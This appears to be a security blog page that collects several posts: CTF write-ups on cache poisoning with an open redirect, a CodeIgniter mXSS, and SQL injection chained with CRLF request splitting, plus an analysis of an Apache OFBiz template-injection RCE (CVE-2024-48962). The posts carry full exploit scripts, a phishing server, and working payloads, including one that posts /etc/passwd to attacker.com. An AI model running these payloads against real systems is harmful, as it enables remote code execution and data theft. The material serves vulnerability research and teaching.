Trailing Danger: exploring HTTP Trailer parsing discrepancies

# TeamItaly25 - VibeChallenge (Unintended Solution)

> A web challenge built on instinct, caffeine, and zero planning. Everything kind of works — and that's good enough. Follow the vibes. Something might happen.

## TLDR

Just follow the vibes...

"Phishing" the bot with an open redirect, a cache poisoning and some other tricks.

## The Target Bot

The goal is to steal flag from an headless bot. After we provide a URL, the bot will visit it and then perform a series of actions:

```php
$actions = [
        'browser' => 'chrome',
        'timeout' => 120,
        'actions' => [
            // 1. Visit our attacker-controlled URL and wait 10 seconds
            [ 'type' => 'request', 'url' => $_POST['url'], 'timeout' => 10 ],
            [ 'type' => 'sleep', 'time' => 10 ],

            // 2. Register a new account
            ['type' => 'request', 'url' => $CHALLENGE_URL . '/register.php', 'timeout' => 20 ],
            ['type' => 'type','element' => 'input#username','value' => $username],
            ['type' => 'click','element' => 'button#submit',],
            [ 'type' => 'sleep', 'time' => 5 ],

            // 3. Navigate to the bio page and paste the flag
            ['type' => 'request','url' => $CHALLENGE_URL . '/update_bio.php','timeout' => 20],
            ['type' => 'type','element' => 'textarea#bio','value' => $FLAG],
            ['type' => 'click','element' => 'button#submit',]
        ]
    ];
```


## Core Vulnerabilities

The challenge is an application built on a stack of Nginx, Apache, and PHP.

### 1. Web Cache Poisoning

Nginx is configured to cache responses for images, including 302 (redirect) responses. The cache key is based solely on the request URI.

```nginx
// nginx.conf
location ~ "^\/image\/([a-fA-F0-9]{...})" {
    rewrite "^\/image\/(?<uuid>...)$" /image.php?id=$uuid break;
    proxy_pass http://${BACKEND_HOST}:80;
    proxy_cache STATIC;
    proxy_cache_valid 200 302 1m; // Redirects are cached for 1 minute
    proxy_cache_key "$scheme$proxy_host$request_uri"; // Cache key ignores cookies
    proxy_hide_header Set-Cookie;
    proxy_ignore_headers Set-Cookie Cache-Control Expires;
}
```

This configuration allows for a web cache poisoning attack. If we can make a request to a cacheable URL (like `/image/some-uuid`) and trick the backend into issuing a redirect based on a cookie we provide, that redirect will be cached and served to every subsequent visitor of that URL.

### 2.Open Redirect

The application uses a `next` cookie to handle redirects after certain actions. For instance, after a user registers, the application will redirect them to the URL specified in the `next` cookie.

```php
// is_logged.php
if (!isset($_SESSION['user'])) {
    // ...
} else if (isset($_COOKIE['next'])) { // Authenticated users are redirected
    redirect($_COOKIE['next']);
    setcookie('next', '', -1, '/');
}
```
This is a standard open redirect vulnerability. The `next` cookie's value is not validated, allowing us to redirect users to an arbitrary external site.

### 3. Session Handling Quirks

The most subtle vulnerability lies in the session management logic. The session cookie's `path` attribute is dynamically set based on the request's path.

```php
// utils.php
function start_session(){
    $hardening_options = [
        'lifetime' => 6000,
        'path' => dirname($_SERVER['ORIG_PATH_INFO']), // Session path based on request path
        'domain' => $_SERVER['HTTP_HOST'],
        'httponly' => true,  
    ];
    session_set_cookie_params($hardening_options);
    session_start();
}
```

This means a session started by a request to `/foo.php` will be scoped to the path `/`. However, a session started by a request to `/foo/bar.php` will be scoped to `/foo`.

This creates a side effect: a user who is authenticated with a session on the root path (`/`) can be made to appear unauthenticated by making them request a URL with a sub-path. For example, if a logged-in user requests `/bio.php/some/path`, the application will attempt to start a session for the path `/bio.php/some`. The browser won't send the root session cookie for this new scope, so from the application's perspective, the user is not logged in (`$_SESSION` is empty).

When the application considers a user to be unauthenticated, it sets the `next` cookie to the current path to redirect them after login.

```php
// is_logged.php
if (!isset($_SESSION['user'])) {
    setcookie('next',  $_SERVER['ORIG_PATH_INFO'], path: "/"); // Set cookie if not logged in
    redirect('/register.php');
    // ...
}
```

This gives us a way to set the `next` cookie on an *already authenticated* user.

## Exploitation

1.  **Poison the Cache**

First, we'll poison the cache for a specific image URL (`/image/uuid`) by  making a request to that image URL with a `next` cookie pointing to our attacker server. The server will issue a redirect to our site, which Nginx will cache for that image URL.

2.  **Call the Bot**

We submit a URL to our attacker server to the bot. The page returned will execute JavaScript to orchestrate the attack in the background while the bot continues its programmed sequence of actions.

3.  **Setup - Session Manipulation**

Our script initiates a series of requests to set up the bot for the next step.
- It first requests `/bio.php/bio.php`. Because of the session path vulnerability, this creates an empty session scoped to `/bio.php`, effectively making the bot appear logged out on that path.
- It then requests `/update_bio.php`. Since the bot isn't authenticated yet, this sets the `next` cookie to `/update_bio.php`, ensuring that's where the bot goes after it registers. 
This specific step is necessary because without this request, the bot after the registration will be redirected to a location where it is not authenticated, overriding the valid session with an empty one. In fewer words the bot would be not authenticated even after the registration.

4.  **!Path Confusion!**

The bot's script proceeds: it sleeps for 10 seconds, then registers an account. After logging in, sleeps for 5 seconds. During this time window from our attacker page makes a request to `/bio.php/%252e%252e%252Fimage/uuid`. This specific path maps to `/bio.php`, where the user is unauthenticated so allows to set the `next` cookie. But its value will be `/bio.php/..%2fimage/uuid` that is equal to `/image/uuid` (because `..%2F` gets interpreted as `../`), our poisoned image URL!

This issue allows to set a redirect for any path, even for image paths where the next cookie is not normally set because of the nginx configuration `proxy_hide_header Set-Cookie;`.

5.  **"Phishing" the bot and getting the flag**: 

The bot wakes up and attempts to navigate to `/update_bio.php`. The application finds the `next` cookie we just planted and redirects the bot to the poisoned image URL. The request for the image hits the poisoned Nginx cache, which serves another redirect, this time to our phishing page. The bot, following the redirects, lands on our fake page, types the flag into the bio field, and submits it directly to us.

`TeamItaly{ch47gp7_54id_17_w45_f1n3_50_175_f1n3_1ce575c05a6b34b1}`  

## Exploit Flow


![](/vibe.svg)

## Full Exploit
`exploit.py`
```python
import requests
import uuid
import time
from urllib.parse import quote
import os

ATTACK_SERVER = "https://x.share.zrok.io" 

CHALLENGE_HOST = 'challenge03.it'

CHALLENGE_PORT = 443

with open("image.png", "wb") as f:
    f.write(b"\x89PNG\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00\x01\x73\x52\x47\x42\x00\xAE\xCE\x1C\xE9\x00\x00\x00\x04\x67\x41\x4D\x41\x00\x00\xB1\x8F\x0B\xFC\x61\x05\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0E\xC3\x00\x00\x0E\xC3\x01\xC7\x6F\xA8\x64\x00\x00\x00\x07\x74\x49\x4D\x45\x07\xE4\x07\x0B\x0B\x19\x1E\x1B\x45\x4D\x00\x00\x00\x00\x4C\x49\x44\x41\x54\x08\xD7\x63\xFC\xFF\xFF\xFF\x0F\x00\x00\x00\x00\xFF\xFF\xFF\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

class Exploit:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.url = f"http{'s' if port == 443 else ''}://{host}:{port}"
        self.session = requests.Session()

    def register_user(self):
        username = str(uuid.uuid4())
        try:
            res = self.session.post(f"{self.url}/register.php", verify=False, data={"username": username}, timeout=5)
            if res.status_code == 200:
                print(f"[+] Successfully registered user: {username}")
                return True
            print(f"[-] Registration failed. Status: {res.status_code}")
            return False
        except requests.RequestException as e:
            print(f"[-] Registration request failed: {e}")
            return False

    def upload_payload_image(self):
        print("[*] Uploading img...")
        try:
            with open("image.png", "rb") as f:
                files = {"image": ("image.png", f, "image/png")}
                res = self.session.post(f"{self.url}/upload_image.php", verify=False, files=files, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"})
            
            image_path = res.text.split("href='")[1].split("'")[0]
            image_uuid = image_path.split("/")[-1]
            print(f"[+] Payload uploaded successfully. UUID: {image_uuid}")
            return image_uuid
        except Exception as e:
            print(f"[-] Failed to upload payload or parse UUID: {e}")
            print(f"    Response: {res.text}...")
            return None
        
    def solve_pow(self, pow):
        return os.popen(f"hashcash -mCb26 \"{pow}\"").read().replace("\n", "")

    def poison_cache(self, image_uuid):
        self.session.cookies["next"] = ATTACK_SERVER+"/phish"
        res = self.session.get(f"{self.url}/bio.php/..%2fimage/{image_uuid}", allow_redirects=False, verify=False, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"})
        print(f"[+] Poisoned cache")
        return res.text
    
    def call_bot(self):
        res = self.session.get(f"{self.url}/bot.php", verify=False, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"})
        get_pow = res.text.split("Proof of Work of ")[1].split("</label>")[0]
        print(f"[+] POW: {get_pow}")
        pow = self.solve_pow(get_pow)
        if not pow:
            return
        print(f"[+] Solved POW: {pow}")
        res = self.session.post(f"{self.url}/bot.php", verify=False, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"}, data={"url": ATTACK_SERVER, "pow": pow})
        print(f"[+] Bot response: {res.text}")
        return res.text

    def exploit(self):
        if not self.register_user():
            return
            
        image_uuid = self.upload_payload_image()
        if not image_uuid:
            return
        with open("image_uuid", "w") as f:
            f.write(image_uuid)
        
        print(self.poison_cache(image_uuid))
        self.call_bot()


solver = Exploit(CHALLENGE_HOST, CHALLENGE_PORT)
solver.exploit()
```

`server.py`
```python
from flask import Flask, request

app = Flask(__name__)

# host = "http://nginx"
host = "https://challenge03.it"

@app.route('/')
def index():
    return """
<script>
    window.open("/attack", "_blank");
</script>
"""

@app.route('/phish', methods=['GET', 'POST'])
def phish():
    # phish the bot
    if request.method == "POST":
        print(request.form)
    return """
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Update Bio</title>
</head>

<body>
    <form method="POST" action="/phish">
        <textarea name="bio" class="form-control" autofocus id="bio" rows="5" placeholder="Write something about yourself...like a flag" required></textarea>
        <button id="submit" type="submit" class="btn btn-success w-100">Save</button>
    </form>
</body>
"""

@app.route('/attack')
def attack():
    return """
<script>
window.open("/slog", "_blank");

setTimeout(() => window.open("/set_next", "_blank"), 1000);

setTimeout(() => window.open("/set_redirect", "_blank"), 22500);
</script>
"""

@app.route('/slog')
def slog():
    return f"""
<script>
    location = '{host}/bio.php/bio.php';
</script>
"""

@app.route('/set_next')
def set_next():
    return f"""
<script>
    location = '{host}/update_bio.php';
</script>
"""

@app.route('/set_redirect')
def set_redirect():
    image_uuid = ""
    with open("image_uuid", "rb") as f:
        image_uuid = f.read().decode("utf-8")
    return f"""
<script>
    location = '{host}/bio.php/%252e%252e%252Fimage/{image_uuid}';
</script>
"""

if __name__ == '__main__':
    app.run(debug=True, port=5000)
```

TeamItaly25 - VibeChallenge (Unintended Solution)

# CVE-2024-48962: From Simple Redirection to RCE via Server-Side Template Injection in Apache OFBiz

## Contents

## TL;DR

We discovered a critical Server-Side Template Injection (SSTI) vulnerability in Apache OFBiz that enables unauthenticated attackers to achieve Remote Code Execution (RCE) by convincing authenticated users to click a malicious link. The vulnerability affects all versions prior to 18.17 and can be exploited through a simple URL parameter injection.

**Proof of Concept:**
```
https://target.com/partymgr/control/viewprofile?partyId=${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("\'bash -c {echo,BASE64_COMMAND}|{base64,-d}|bash\'.execute()",null)}
```

---

## Introduction

Apache OFBiz is an open-source CRM & ERP system built in Java. 

This vulnerability ([CVE-2024-48962](https://www.cve.org/CVERecord?id=CVE-2024-48962)) begins as a simple parameter injection escalates to full RCE through FreeMarker template injection combined with a sandbox bypass leveraging OFBiz's own utility classes.

---

## Overview

The vulnerability lies within the `/partymgr/control/viewprofile` endpoint, where the `partyId` query parameter undergoes processing without adequate sanitization before being passed to FreeMarker template rendering. This allows attackers to inject malicious template syntax that executes server-side.

### Tracing the Vulnerable Code Path

1. Request Routing

When an HTTP request targets `/partymgr/control/viewprofile`, OFBiz routes it through its controller configuration system:

`applications/party/webapp/partymgr/WEB-INF/controller.xml`
```xml
<request-map uri="viewprofile">
    <security https="true" auth="true"/>
    <response name="success" type="view" value="viewprofile"/>
</request-map>

<view-map name="viewprofile" type="screen" 
          page="component://party/widget/partymgr/PartyScreens.xml#viewprofile"/>
```

The request maps to a screen definition that extracts and processes the `partyId` parameter:

`applications/party/widget/partymgr/PartyScreens.xml`
```xml
<screen name="viewprofile">
    <section>
        <actions>
            <set field="partyId" from-field="parameters.partyId"/>
            <script location="component://party/groovyScripts/party/ViewProfile.groovy"/>
        </actions>
        <widgets>
            <decorator-screen name="CommonPartyDecorator" location="${parameters.mainDecoratorLocation}">
                
            </decorator-screen>
        </widgets>
    </section>
</screen>
```

2. Parameter Processing and menu rendering

The `ViewProfile.groovy` script extracts and processes the user-supplied `partyId` value:

`applications/party/groovyScripts/party/ViewProfile.groovy`
```groovy
partyId = parameters.partyId ?: parameters.party_id
// ...
context.partyId = partyId  // User input flows directly into context
```

The `CommonPartyDecorator` includes navigation menus that consume the `partyId` parameter:

`applications/party/widget/partymgr/CommonScreens.xml`
```xml
<screen name="CommonPartyDecorator">
    <section>
        <actions>
            <set field="partyId" from-field="parameters.partyId"/>
        </actions>
        <widgets>
            <include-menu name="ProfileTabBar" location="component://party/widget/partymgr/PartyMenus.xml"/>
            <include-menu name="ProfileSubTabBar" location="component://party/widget/partymgr/PartyMenus.xml"/>
        </widgets>
    </section>
</screen>
```

3. Template generation

Menu items incorporate the user-controlled `partyId` as a parameter:

`applications/party/widget/partymgr/PartyMenus.xml`
```xml
<menu-item name="viewprofile" title="${uiLabelMap.PartyProfile}">
    <link target="viewprofile">
        <parameter param-name="partyId"/>  
    </link>
</menu-item>
```

When these menus render, the `MacroMenuRenderer.executeMacro()` method constructs dynamic FreeMarker templates:

`framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroMenuRenderer.java`
```java
private void executeMacro(Appendable writer, String macroName, Map<String, Object> macroParameters) 
        throws IOException, TemplateException {
    StringBuilder sb = new StringBuilder("<@");
    sb.append(macroName);
    if (macroParameters != null) {
        for (Map.Entry<String, Object> parameter : macroParameters.entrySet()) {
            sb.append(' ');
            sb.append(parameter.getKey());
            sb.append("=");
            Object value = parameter.getValue();
            if (value instanceof String) {
                sb.append('"');
                // Only escapes quotes, not FreeMarker syntax!
                sb.append(((String) value).replaceAll("\"", "\\\\\""));
                sb.append('"');
            } else {
                sb.append(value);
            }
        }
    }
    sb.append(" />");
    
    // Executes the dynamically constructed template
    executeMacro(writer, sb.toString());
}

private void executeMacro(Appendable writer, String macro) throws IOException, TemplateException {
    Reader templateReader = new StringReader(macro);
    Template template = new Template(templateName, templateReader, FreeMarkerWorker.getDefaultOfbizConfig());
    environment.include(template);  // ⚠️ Template injection occurs here
}
```

**Attack Flow:**

When `partyId=MALICIOUS_INPUT` contains FreeMarker syntax, it becomes embedded in a macro call:
```freemarker
<@renderMenuItemBegin linkStr="/partymgr/control/viewprofile?partyId=MALICIOUS_INPUT" />
```

For example, if `MALICIOUS_INPUT` is `${7*7}`, the generated template becomes:
```freemarker
<@renderMenuItemBegin linkStr="/partymgr/control/viewprofile?partyId=${7*7}" />
```

When FreeMarker processes this template, it evaluates `${7*7}` as an expression, producing `49` in the output.

---

## Exploitation: Bypassing FreeMarker Sandbox

FreeMarker typically operates within a restricted environment, but OFBiz exposes utility classes accessible via the `Static` hash.

```bash
grep -r "static.*eval" --include="*.java" .

./framework/base/src/main/java/org/apache/ofbiz/base/util/GroovyUtil.java:    public static Object eval(String expression, Map<String, Object> context) throws CompilationFailedException {
```

This search revealed `GroovyUtil.eval()` within the OFBiz framework:

`framework/base/src/main/java/org/apache/ofbiz/base/util/GroovyUtil.java`
```java
public static Object eval(String expression, Map<String, Object> context) throws CompilationFailedException {
    // ...
    GroovyShell shell = new GroovyShell(getBinding(context, expression));
    Object result = shell.evaluate(StringUtil.convertOperatorSubstitutions(expression));
    // ...
}
```

This method provides a direct pathway to execute arbitrary Groovy code, effectively circumventing FreeMarker's security sandbox.

### Escalation to Remote Code Execution

Using the `GroovyUtil.eval()` method, we can achieve various levels of system compromise:

```
${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("'bash -c {echo,BASE64_COMMAND}|{base64,-d}|bash'.execute()", null)}
```

### Final exploit

An attacker can just craft a page that executes a redirect, and delivers it to an authenticated OFBiz user:

```html
<script>
location = 'https://target-ofbiz.com/partymgr/control/viewprofile?partyId=${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("\'curl -X POST -d @/etc/passwd http://attacker.com/exfil\'.execute()", null)}';
</script>
```

---

## Fix

Apache OFBiz addressed this vulnerability in version 18.17 by implementing comprehensive parameter value encoding before template generation:

`framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroMenuRenderer.java`
```java
// Before: Direct parameter inclusion (vulnerable)
sb.append(((String) value).replaceAll("\"", "\\\\\""));

// After: Proper encoding using SimpleEncoder (secure)
UtilCodec.SimpleEncoder simpleEncoder = (UtilCodec.SimpleEncoder) context.get("simpleEncoder");
if (simpleEncoder != null) {
    targetParameters.append(simpleEncoder.encode(parameter.getValue()));
} else {
    targetParameters.append(parameter.getValue());
}
```

A detailed analysis of CVE-2024-48962, a Server-Side Template Injection (SSTI) vulnerability in Apache OFBiz, and how it can be exploited to achieve Remote Code Execution (RCE).

CVE-2024-48962: SSTI with Freemarker sandbox bypass leading to RCE

Intigriti XSS - Leaky fragment

# Intigriti XSS Challenge #1224

> Challenge URL https://challenge-1224.intigriti.io/
## Overview
It is a simple page that renders a text, made in `php` + `CodeIgniter`.
## Code review
1. Main logic:
	- The `View` controller handles an HTTP request, retrieves the `title` parameter from the GET request, cleans it from potential security threats, converts it to an ID using the `str2id()` function, and then loads a view with the sanitized title and its corresponding ID.
	- The output view is cached for one minute.
	- The `str2id()` function ensures that a string is suitable for use as an HTML ID by converting it to lowercase (except for the first letter), and replacing spaces with dashes.
```php
<?php

function str2id($str)
{
    if (strstr($str, '"')) {
        die('Error: No quotes allowed in attribute');
    }
    // Lowercase everything except first letters
    $str = preg_replace_callback('/(^)?[A-Z]+/', function($match) {
        return isset($match[1]) ? $match[0] : strtolower($match[0]);
    }, $str);
    // Replace whitespace with dash
    return preg_replace('/[\s]/', '-', $str);
}

class View extends CI_Controller
{
    public function index()
    {
        $this->load->helper('string');
        $this->load->helper('security');
        $this->output->cache(1);

        $title = $this->input->get('title') ?: 'Christmas Fireplace';

        $title = xss_clean($title);
        $id = str2id($title);

        $this->load->view('view', array(
            "id" => $id,
            "title" => $title
        ));
    }
}
```
- Then the sanitized input is inserted in two parts of the page:
```php
<h1><?= htmlspecialchars($title) ?></h1>
[...]
<div class="fireplace" id="<?= $id ?>">
```

Overall the code looks secure, so let's look at how is the cache handled:

- cache write: if a page hasn't been cached yet, a cache file is written locally right before the response is sent to the client
```php
public function _write_cache($output)
{
	[...]
	
	$expire = time() + ($this->cache_expiration * 60);
	// Put together our serialized info.
	$cache_info = serialize(array(
		'expire'	=> $expire,
		'headers'	=> $this->headers
	));
	$output = $cache_info.'ENDCI--->'.$output;

	[...]
}
```

A cache file is composed like this:
```
SERIALIZED_OBJECT + 'ENDCI--->' + HTML_PAGE
```

- cache read: when requesting a cached page, the corresponding cache file is read and split in two parts:
	- the first part is a PHP object containing the document's expiry value
	- the rest is the page that will be sent to the client
```php
public function _display_cache(&$CFG, &$URI)
{
	[...]

	$cache = (filesize($filepath) > 0) ? fread($fp, filesize($filepath)) : '';

	flock($fp, LOCK_UN);
	fclose($fp);

	// Look for embedded serialized file info.
	if ( ! preg_match('/^(.*)ENDCI--->/', $cache, $match))
	{
		return FALSE;
	}

	$cache_info = unserialize($match[1]);
	$expire = $cache_info['expire'];

	$last_modified = filemtime($filepath);
	
	[...]
	
	// Display the cache
	$this->_display(self::substr($cache, self::strlen($match[0])));
}
```

## Exploitation
1. **Cache poisoning**

What happens if I smuggle a `ENDCI--->` into the cache file?

The cache file would look like this:
```
SERIALIZED_OBJECT + 'ENDCI--->' + START_HTML_PAGE + 'ENDCI--->' + END_HTML_PAGE
```
Therefore when requesting the cached page, because of the regex `/^(.*)ENDCI--->/`, the server will return only the part of the page **after the last** `ENDCI--->`, 

for example:
- Non cached response:
```
[...]<div class="fireplace" id="ENDCI--->xss"><div class="bottom"><ul class="ground">[...]
```
- Cached response:
```
xss"><div class="bottom"><ul class="ground">[...]
```

In the **cached** response, the input is reflected directly in the **html context** (not in the attribute like before), this could introduce an XSS vulnerability.


But there's a problem: sending directly `ENDCI--->`  **won't poison** the cache because `xss_clean` will recognize it as an html comment and will encode it.

Fortunately `str2id` converts spacing characters into dashes, I can use this behaviour to bypass `xss_clean`.

By sending `title=ENDCI--%20>`, no malicious input is detected and `ENDCI--->` gets injected into the page.


2. **mXSS**

Now that I can inject HTML outside the attribute context, I have to bypass some obstacles in order to have an XSS:
- `xss_clean` removes dangerous elements and attributes
- `str2id`  converts spaces to dashes, and all uppercase chars to lowercase

After some attempts I came up with the following payload:
`ENDCI-- ><p/title='</noscript><iframe/onload=alert(document.domain)>'>`

Why does this work? 

This is a **Mutation-based XSS (mXSS)**.

The reason this payload bypasses the `xss_clean` function is that **it does not check attribute values** for potential XSS risks, focusing instead on element tags and known dangerous attributes. As a result, it fails to flag this payload as dangerous so it doesn't get sanitized.
However, when the browser processes this malformed HTML, it **misinterprets** the structure and "corrects" it in a way that turns it into a valid executable script. This misinterpretation leads to a cross-site scripting vulnerability, where the injected script gets executed by the browser.

## Full exploit
1. **Poison the cache**: Request the following URL at 1-minute intervals to poison the cache, as it expires after 1 minute: `https://challenge-1224.intigriti.io/index.php/view?title=ENDCI--%20%3E%3Cp/title=%27%3C/noscript%3E%3Ciframe/onload=alert(document.domain)%3E%27%3E`
2. **Trigger the XSS**: Once the cache is poisoned, accessing the link will trigger the XSS payload.

Intigriti XSS - Fireplace generator

# m0le24 - ndayFilestorage
## Description
S3, min.io, uploadthing... Why do we have to complicate our platforms with all of these when we have some good old well-tested solutions?
## Overview
It's a file hosting website composed by 2 services:
- app: The main web application service that handles file uploads and downloads
- ftp: A service running both an FTP server and an HTTP server used for account management
## Road to flag
The flag is returned by the webserver running in the 'ftp' service when making a POST request with a specific header:
```js
app.post("/flag", (req, res) => {
  if (!!req.headers["x-get-flag"]) {
    res.send(process.env.FLAG || "ptm{REDACTED}");
  } else {
    req.send("nope");
  }
});
```
## Code review
1. SQL Injection

A SQL injection exists in the `upload_file` function. The `$filename` parameter is directly inserted into the SQL query without any sanitization or parameterization:
```php
$stmt = $database->prepare("INSERT INTO files (owner, filename, size) VALUES (:owner, '$filename', :size)");
```
This allows an attacker to inject arbitrary SQL code through the filename.

2. Server-Side Request Forgery (SSRF)

The application creates an FTP context using user-controlled settings:
```php
$opts = ['ftp' => $_SESSION['settings']];
$context = stream_context_create($opts);
```

These settings can be manipulated by sending a POST request to '/' with JSON data:
```php
$data = json_decode($_POST['settings'], true);
if (!is_array($data)) {
\tdie;
}
$_SESSION['settings'] = $data;
```

By setting the [FTP context options](https://www.php.net/manual/en/context.ftp.php), we can redirect file requests to the FTP service:
```
{"proxy":"ftp:3000"}
```

When downloading a file, the application sends a request like:
```
GET ftp://username:password@ftp/filename HTTP/1.1
Authorization: Basic Mjg0OTJhNTQzYTMwYzdjODoyOTU3ZjJlZTUzYWM3MGQ5
Host: ftp
Connection: close
```
To obtain the flag, we need to convert this to a POST request and add the required `x-get-flag` header.

3. CRLF Injection Leading to HTTP Request Splitting

In the `upload_file` function, filenames are not properly sanitized before being used in URLs:
```php
$ftp = @fopen("ftp://{$_SESSION['user']}:{$_SESSION['password']}@ftp/$filename", 'w', false, $context);
```

Local testing reveals that fopen is vulnerable to CRLF injection. For example, using:
`$filename = 'flag%20HTTP%2f1.1%0d%0aHost%3a%20ftp%0d%0a%0d%0aPOST%20%2fflag%20HTTP%2f1.1%0d%0aX-Get-Flag%3a%201%0d%0aX%3a%20'`

Generates this request:
```
GET ftp://dcc24aaf6ff28e53:91ce935517f3c9ec@ftp/flag HTTP/1.1
Host: ftp

POST /flag HTTP/1.1
X-Get-Flag: 1
X:  HTTP/1.1
Authorization: Basic ZGNjMjRhYWY2ZmYyOGU1Mzo5MWNlOTM1NTE3ZjNjOWVj
Host: ftp
Connection: close
```

However, there's a catch - filenames containing CRLF characters cannot be directly used because the application verifies file existence in the database:
```php
$filename = $_GET['filename'];

$stmt = $database->prepare('SELECT * FROM files WHERE owner = :owner AND filename = :filename');
$stmt->execute([
\t'owner' => $_SESSION['user'],
\t'filename' => $filename
]);
$file = $stmt->fetch();

if (!$file) {
\tdie('<script>window.close()</script>');
}
```
## Exploitation Steps
1. First, exploit the SQL injection to create a file with a specially crafted name that includes our CRLF payload:
`none',1),(:owner,cast(X'666c616720485454502f312e310d0a486f73743a206674700d0a0d0a504f5354202f666c616720485454502f312e310d0a582d4765742d466c61673a20310d0a583a20' as text),:size);--`

This SQL injection creates a file entry where the name is our hex-encoded CRLF payload. The hex string is decoded when inserted into the database.

2. Configure the FTP proxy settings to redirect requests:
```
{"proxy":"ftp:3000"}
```

3. Finally, trigger the exploit by requesting:
```
GET /?filename=flag%20HTTP%2f1.1%0d%0aHost%3a%20ftp%0d%0a%0d%0aPOST%20%2fflag%20HTTP%2f1.1%0d%0aX-Get-Flag%3a%201%0d%0aX%3a%20
```

`ptm{php_why_d0_y0u_hav3_t0_b3_l1k3_th1s..._--_....}`

BLOG

Categories

Tags

Trailing Danger: exploring HTTP Trailer parsing discrepancies

TeamItaly25 - VibeChallenge (Unintended Solution)

CVE-2024-48962: SSTI with Freemarker sandbox bypass leading to RCE

Intigriti XSS - Leaky fragment

Intigriti XSS - Fireplace generator

m0le24 - ndayFilestorage

Sebsrt